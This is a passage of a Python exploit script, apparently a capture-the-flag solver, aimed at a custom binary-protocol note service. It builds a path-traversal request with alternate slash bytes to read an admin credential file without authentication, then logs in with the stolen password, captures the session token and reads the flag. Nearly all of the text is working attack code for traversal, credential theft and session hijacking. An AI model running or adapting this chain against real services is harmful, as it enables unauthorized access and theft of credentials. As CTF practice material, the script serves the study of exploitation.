note_name = os.environ.get("NOTE_NAME", "rotation-schedule")

ROWS = {
    0x80: "abcdefghijklm([{", 0x90: "ABCDEFGHIJKLM)]}",
    0xA0: "nopqrstuvwxyz<'/", 0xB0: 'NOPQRSTUVWXYZ>"\\',
    0xC0: "+|!*^:.@=`\x00\t", 0xD0: "-_?%&;,#$~ \n",
    0xE0: "02468", 0xF0: "13579",
}
DECODE = {s + o: c for s, chars in ROWS.items() for o, c in enumerate(chars)}
ENCODE = {c: b for b, c in DECODE.items()}
ENCODE["/"] = 0x67
DECODE[0x67] = "/"

FLAG_RE = re.compile(r"bbb\{[^}\r\n]{1,124}\}")
HEX32_RE = re.compile(r"(?<![0-9a-f])[0-9a-f]{32}(?![0-9a-f])")


def enc(s):
    return bytes(ENCODE[c] for c in s)


def dec(b):
    return "".join(DECODE.get(x, "") for x in b)


def make_frame(t, sid, payload):
    return bytes([START, t, 0x01]) + struct.pack(">H", sid) + payload + bytes([END])


def iter_frames(data):
    off = 0
    while off < len(data):
        s = data.find(bytes([START]), off)
        if s < 0:
            return
        e = data.find(bytes([END]), s + 1)
        if e < 0:
            return
        ftype = data[s + 1]
        raw = data[s + 2:e]
        sid, payload = None, raw
        if len(raw) >= 3 and raw[0] == 0x01:
            sid = struct.unpack(">H", raw[1:3])[0]
            payload = raw[3:]
        yield ftype, sid, payload, e + 1
        off = e + 1


def make_body(d):
    parts = [bytes([0x24])]
    items = list(d.items())
    for i, (k, v) in enumerate(items):
        parts.append(bytes([0x27]) + enc(k) + bytes([0x27, 0x26, 0x27]) + enc(v) + bytes([0x27]))
        parts.append(bytes([0x36]) if i < len(items) - 1 else bytes([0x34]))
    return b"".join(parts)


def alternate_attachment_target(parts, depth):
    """attachments/<0x67><../../..-with-0xAF-slashes><parts joined by 0xAF>"""
    traversal = bytes([0xC6, 0xC6, 0xAF]) * depth  # ".." + alt-slash, repeated
    return enc("attachments") + bytes([0x67]) + traversal + bytes([0xAF]).join(enc(p) for p in parts)


class Swoop:
    def __init__(self, host, port, roost=roost, timeout=5):
        self.host, self.port, self.roost, self.timeout = host, port, roost, timeout
        self.sid = 0
        self.sock = socket.create_connection((host, port), timeout)
        self.sock.settimeout(timeout)
        self.sock.sendall(HANDSHAKE)
        self.buf = bytearray()
        self._pump(0.3)
        seen = list(iter_frames(bytes(self.buf)))
        self.consumed = seen[-1][3] if seen else 0

    def _pump(self, wait):
        deadline = time.monotonic() + wait
        self.sock.settimeout(max(0.05, wait))
        while time.monotonic() < deadline:
            try:
                chunk = self.sock.recv(65536)
            except socket.timeout:
                return
            if not chunk:
                return
            self.buf += chunk

    def call(self, target_bytes, action, body=None, session=None):
        """target_bytes: pre-encoded target (bytes), so callers can smuggle
        raw traversal bytes without going through the '/' == 0x67 encoder."""
        self.sid = (self.sid + 1) & 0xFFFF or 1
        env = (enc("action") + bytes([SEP, action, SEP]) +
               enc("target") + bytes([SEP]) + target_bytes + bytes([SEP]) +
               enc("roost") + bytes([SEP]) + enc(self.roost) + bytes([SEP]) +
               enc("mode") + bytes([SEP]) + enc("fetch") + bytes([SEP]) +
               enc("species") + bytes([SEP]) + enc("peregrine"))
        if session:
            env += bytes([SEP]) + enc("session") + bytes([SEP]) + enc(session)
        payload = make_body(body) if body else b""
        self.sock.sendall(make_frame(HEAD, self.sid, env) + make_frame(BODY, self.sid, payload))
        deadline = time.monotonic() + self.timeout
        last = b""
        while time.monotonic() < deadline:
            for ftype, sid, payload, end in iter_frames(bytes(self.buf)):
                if end <= self.consumed:
                    continue
                if sid != self.sid:
                    self.consumed = max(self.consumed, end)
                    continue
                self.consumed = max(self.consumed, end)
                if ftype == BODY:
                    return payload
            try:
                self.sock.settimeout(max(0.05, deadline - time.monotonic()))
                chunk = self.sock.recv(65536)
            except socket.timeout:
                break
            if not chunk:
                break
            self.buf += chunk
        return last

    def close(self):
        self.sock.close()


def main():
    print(f"[*] attachments chain (IP={ip}, PORT={port}, ROOST={roost}, NOTE={note_name})")

    # Step 1: unauthenticated traversal read of the credential DB
    target = alternate_attachment_target(["srv", "db", "users", "admin.json"], 2)
    c1 = Swoop(ip, port)
    raw = c1.call(target, PECK)
    c1.close()
    text = raw.decode("latin1", "ignore")
    print("[1] attachments/../../srv/db/users/admin.json ->", text.strip())

    password_match = re.search(r'"password"\s*:\s*"([^"]+)"', text)
    if password_match is None:
        sys.exit("[!] traversal did not return a password field")
    password = password_match.group(1)
    print(f"[+] recovered admin password: {password}")

    # Step 2: completely ordinary login with the stolen password
    c2 = Swoop(ip, port)
    login_resp = c2.call(enc("login"), PERCH, body={"username": "admin", "password": password})
    c2.close()
    login_text = dec(login_resp)
    print("[2] PERCH login {admin, stolen password} ->", login_text)

    token_match = HEX32_RE.search(login_text)
    if token_match is None:
        sys.exit("[!] login did not produce a session token")
    token = token_match.group(0)
    print(f"[+] session token: {token}")

    # Step 3: read the flag through the normal, non-injection note/content path
    c3 = Swoop(ip, port)
    content_resp = c3.call(enc("note/content"), PERCH, body={"name": note_name}, session=token)
    c3.close()
    content_text = dec(content_resp)
    print("[3] PERCH note/content ->", content_text)

    flag_match = FLAG_RE.search(content_text)
    if flag_match is None:
        sys.exit("[!] note/content did not return a flag")
    print(f"[+] FLAG: {flag_match.group(0)}")


if __name__ == "__main__":
    main()